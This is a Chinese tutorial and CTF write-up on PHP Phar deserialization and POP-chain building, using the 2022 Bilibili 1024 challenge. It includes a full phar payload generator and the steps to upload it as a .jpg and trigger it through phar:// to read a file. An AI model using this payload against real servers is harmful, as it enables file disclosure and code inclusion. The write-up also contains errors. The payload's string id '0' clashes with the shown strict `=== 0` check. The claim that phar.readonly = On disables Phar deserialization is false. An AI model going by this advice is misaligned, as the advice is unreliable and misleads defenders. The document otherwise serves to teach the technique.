初步理解Phar反序列化 + 分析POP链构造(2022 Bilibili 1024 程序员节第二题)
字数 2203 2025-08-26 22:11:40
Phar反序列化与POP链构造详解
1. Phar文件基础
1.1 Phar是什么
Phar是PHP的归档文件格式,类似于Java的JAR文件。它将PHP代码文件和其他资源(如图像、样式表等)打包到一个文件中,本质上是一个压缩文件。
1.2 Phar文件结构
- Stub - Phar的文件头标识,必须包含
<?php xxx; __HALT_COMPILER();?>格式 - manifest - 压缩文件信息,包含Meta-data(用户自定义数据)
- contents - 压缩文件内容
- signature - 签名(Hash值),可选
1.3 创建Phar文件
<?php
class test {
public $name = "qwq";
function __destruct() {
echo $this->name;
}
}
$a = new test();
$a->name = "phpinfo();";
$phartest = new phar('phartest.phar', 0); // 后缀名必须为phar
$phartest->startBuffering(); // 准备写操作
$phartest->setMetadata($a); // 将自定义Meta-data存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>"); // 设置stub
$phartest->addFromString("test.txt", "test"); // 添加压缩文件
$phartest->stopBuffering(); // 保存到磁盘
?>
注意:PHP >=5.3默认支持Phar,但要创建Phar文件需设置php.ini中的phar.readonly = Off。
2. Phar反序列化
2.1 触发条件
当以下文件系统函数通过phar://伪协议解析phar文件时,会将meta-data进行反序列化:
fileatime, filectime, file_exists, file_get_contents, file_put_contents,
file, filegroup, fopen, fileinode, filemtime, fileowner, fileperms,
is_dir, is_executable, is_file, is_link, is_readable, is_writable,
is_writeable, parse_ini_file, copy, unlink, stat, readfile
2.2 利用方式
- 创建包含恶意序列化数据的Phar文件
- 通过文件上传等方式将Phar文件传到服务器
- 使用上述函数配合
phar://协议触发反序列化
3. POP链构造
3.1 常用魔法函数
| 函数 | 触发条件 |
|---|---|
__destruct() |
对象销毁时调用 |
__construct() |
对象创建时调用 |
__toString() |
对象被当作字符串时调用 |
__wakeup() |
反序列化时调用 |
__sleep() |
序列化时调用 |
__invoke() |
对象被当作函数调用时 |
__get() |
访问不存在或私有属性时 |
__set() |
设置不存在或私有属性时 |
__call() |
调用不存在的方法时 |
__isset() |
对私有属性isset()时 |
__unset() |
对私有属性unset()时 |
3.2 魔法函数执行顺序
- 序列化时:
__construct()→__sleep() - 反序列化时:
__wakeup()→__destruct()
3.3 POP链构造思路
- 寻找起点:通常从
__wakeup()或__destruct()开始 - 寻找可利用的方法调用:如
$this->xxx->xxx() - 利用魔法函数跳转:如通过
__toString()触发下一步 - 最终目标:通常是要执行的危险函数或代码
4. 实战案例:Bilibili 2022 1024程序员节第二题
4.1 题目分析
文件结构:
upload.php:文件上传处理upload.html:文件上传表单5d47c5d8a6299792.php:包含关键类定义
关键代码:
// upload.php部分代码
if(isset($_GET['c'])){
include("5d47c5d8a6299792.php");
$fpath = $_GET['c'];
if(file_exists($fpath)){
echo "file exists";
}
}
// 5d47c5d8a6299792.php中的关键类
class Action {
protected $checkAccess;
protected $id;
public function run() {
if($this->id === 0 && $this->checkAccess) {
include($this->checkAccess); // 目标触发点
}
}
}
4.2 利用思路
- 构造恶意Phar文件,包含精心设计的序列化数据
- 上传Phar文件(可修改后缀绕过限制)
- 通过
file_exists()函数和phar://协议触发反序列化 - 利用POP链最终执行
include($this->checkAccess)
4.3 POP链构造
完整POP链:
file_exists()触发
→ Show::__wakeup()
→ preg_match()将$this->source当作字符串
→ Show::__toString()
→ $this->str->reset()
→ Content::__call()
→ call_user_func_array()
→ Action::run()
→ include($this->checkAccess)
详细步骤:
- 起点:
file_exists()触发Phar反序列化,调用Show::__wakeup() - 跳转1:
__wakeup()中的preg_match()将$this->source当作字符串处理,触发Show::__toString() - 跳转2:
__toString()调用$this->str->reset(),而$this->str是Content对象且无reset()方法,触发Content::__call() - 跳转3:
__call()调用call_user_func_array($this->getFormatter($name), $arguments) - 控制:通过构造
$this->formatters["reset"] = array($actionObj, "run"),使call_user_func_array调用Action::run() - 最终目标:
Action::run()中的include($this->checkAccess),可设置为/tmp/flag.php
4.4 完整Payload生成脚本
<?php
class Action {
protected $checkAccess = 'PHP://filter/read=convert.base64-encode/resource=/tmp/flag.php';
protected $id = '0';
}
class Content {
public $formatters;
public function __construct() {
$a = new Action();
$this->formatters = array("reset" => array($a, "run"));
}
}
class Show {
public $source;
public $str;
public function __construct() {
$this->str = new Content();
}
public function __toString() {
$this->str->reset();
}
}
$a = new Show();
$b = new Show();
$b->source = $a; // 使preg_match触发__toString
$phar = new phar('exp.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
4.5 利用步骤
- 生成Phar文件后修改后缀为
.jpg上传 - 访问
upload.php?c=phar://upload/文件名.jpg/test.txt - 获取base64编码的flag内容
5. 防御措施
- 禁用Phar反序列化:
phar.readonly = On - 对用户输入进行严格过滤
- 避免危险函数与用户输入直接结合
- 使用最新PHP版本,修复已知漏洞
6. 总结
Phar反序列化是一种强大的攻击技术,结合POP链可以实现无需直接调用unserialize()的反序列化攻击。理解魔法函数的触发条件和POP链的构造思路是掌握这类漏洞的关键。在实际开发中,应当避免用户输入直接控制敏感操作,并保持框架和库的更新。